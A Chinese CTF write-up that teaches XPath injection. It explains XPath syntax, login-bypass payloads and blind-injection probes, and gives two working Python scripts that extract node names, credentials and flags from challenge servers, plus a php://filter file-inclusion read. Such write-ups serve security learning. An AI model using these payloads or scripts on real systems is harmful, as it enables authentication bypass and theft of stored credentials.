从ctf题目中学习xpath注入

漏洞描述

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

漏洞原理

XPath是XML的路径语言,使用路径表达式来选取XML文档中的节点或者节点集,XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。

基础语法

1.表达式

表达式 描述
nodename 选取此节点的所有子节点
/ 从根节点选取
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
. 选取当前节点
.. 选取当前节点的父节点
@ 选取属性或 @*:匹配任何属性节点
* 匹配任何元素节点

例如:

表达式 结果
bookstore 选取 bookstore 元素的所有子节点
/bookstore 选取根元素 bookstore
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素
//book 选取所有 book 子元素,而不管它们在文档中的位置
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置
//@lang 选取名为 lang 的所有属性

2.限定语:

表达式 结果
/bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
/bookstore/book[last()] 选取属于 bookstore 子元素的最后一个 book 元素
//title[@lang] 选取所有拥有名为 lang 的属性的 title 元素
//title[@lang=’eng’] 选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性
/bookstore/book[price>35.00]/title 选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00

3.通配符:

通配符 描述
* 匹配任何元素节点
@* 匹配任何属性节点
node() 匹配任何类型的节点

4.运算符:

运算符 描述
| 计算两个节点集
+、-、*、div 加、减、乘、除
= 等于
!= 不等于
<、<=、>、>= 小于、小于等于、大于、大于等于
or 或
and 与
mod 求余

5.函数:

函数名 描述
text() 元素值
position() 标签位置
name() 标签名称

案例演示

xml version="1.0" encoding="UTF-8"?> 
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type='md5'>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id>2</id>
<username>jiangniao</username>
<password type='md5'>099ebea48ea9666a7da2177267983138</password>
</user>
<user>
<id>3</id>
<username>skbl</username>
<password type='md5'>e995e9ba0c8ec5c9ce392b86bfece354</password>
</user>
</users>
</root>

查询语句为:

"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"

正常查询/root/users/user[username/text()='admin'and password/text()='123456']

万能密码

1.在知道用户名的情况:admin' or '1'='1

?name=admin' or '1'='1&pwd=fake

拼接为/root/users/user[username/text()='admin' or '1' and password/text()='123456']

注:和sql不同的是xpath没有注释符,所以要手动闭合引号

2.在不知道用户名的情况,使用两个or绕过:

?name=fake' or '1'or'1&pwd=fake
  1. 使用|操作符号
?name=1']|//*|ss['&pwd=fake

拼接为/root/accounts/user[username/text()='1' ]|//*|ss['' and password/text()='1']

即先闭合前面的语句,之后//*列出文档所有元素

盲注

需要一级一级猜解节点;猜解第一级节点:

?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

猜解第二级节点数量:

?name=1' or count(/root/*)=2 or '1'='1&fake

猜解第二级节点:

?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

猜解id为1的user节点下的username值:

?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

CTF题目

NPUCTF ezlogin(刷题就到buu)

查看到一个登陆页面,sql注入无果,尝试xpath注入(靠hint)

username为admin' or '1'='1,password乱输入的情况,提示用户名密码错误,于是打一个fake' or '1'or'1,看到不一样的提示,非法操作,应该是盲注了

盲注写脚本,但是这里有一个token,需要我们先get获取一遍

import requests
import string
import re
import random
import json

url = 'http://1da708d1-23f9-452f-82f9-961b79f25da2.node3.buuoj.cn/login.php'

dic = string.ascii_letters + string.digits


# 获取token和SESSID
def get_token():
headers = {
"Cookie": "PHPSESSID=" + str(random.randint(1, 9999999999))
}
req = requests.get(url, headers=headers)
token = re.findall('"token" value="(.*?)"', req.text)[0]
return token, headers


def get_value(*params, position=1):
text = ''
# 获取各节点值
if len(params) == 0:
data = "<username>1' or substring(name(/*[position()=" + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 1:
data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 2:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 3:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[
2] + "/*[position()= " + str(
position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 4:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[
3] + "/*[position()=" + str(
position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>"
# 获取用户名和密码
elif len(params) == 5:
data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"

for i in range(1, 40):
for j in dic:
token, headers = get_token()
headers["Content-Type"] = "application/xml"
payload = data.format(i, j, token)
res = requests.post(url, headers=headers, data=payload).text
if '非法操作' in res:
text += j
print(text)
break
return text


# v1 = get_value()
# print(v1)
v1 ='root'
# v2 = get_value(v1)
# print(v2)
v2 = 'accounts'
# v3 = get_value(v1, v2)
# print(v3)
v3 = 'user'
# v4 = get_value(v1, v2, v3)
# print(v4)
v4 = 'id'
# v4_1 = get_value(v1, v2, v3, position=2)
# print(v4_1)
v4_1 = 'username'
# v4_2 = get_value(v1, v2, v3, position=3)
# print(v4_2)
v4_2 = 'password'
v5 = get_value(1, 2, 3, 4, 5)
print(v5)

获取到密码的md5以及用户名adm1n,来一手解密,得到密码然后登陆

cf7414b5bdb2e65ee43083f4ddbc4d9f = md5(gtfly123)

看到文件包含了 easy

过滤这些:

php:
.php
read
base
pHp://filter/convert.Base64-encode/resource=/flag

base64解一下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/4/19 19:25
# @Author : upload
# @File : pppppp.py
# @Software: PyCharm

import requests
import string
import re
import random
import json

url = 'http://138.68.178.56:30308/api/search'

dic = string.ascii_letters + string.digits+'-+$~`^#.@_,{}()'

flag = ''
for j in range(100):
j +=1
for i in dic:
#payload = "Straorg' and substring(/military/district[2]/staff[3]/selfDestructCode/text(),{},1)='{}' and '1'='1".format(j,i)
payload = "Straorg' and substring(/military/district[3]/staff[2]/selfDestructCode/text(),{},1)='{}' and '1'='1".format(j,i)
data = {
'search': payload
}
print(payload)
r = requests.post(url=url, json=data).text
if 'success' in r:
flag += i
print(flag)
break
# print(r)


# CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}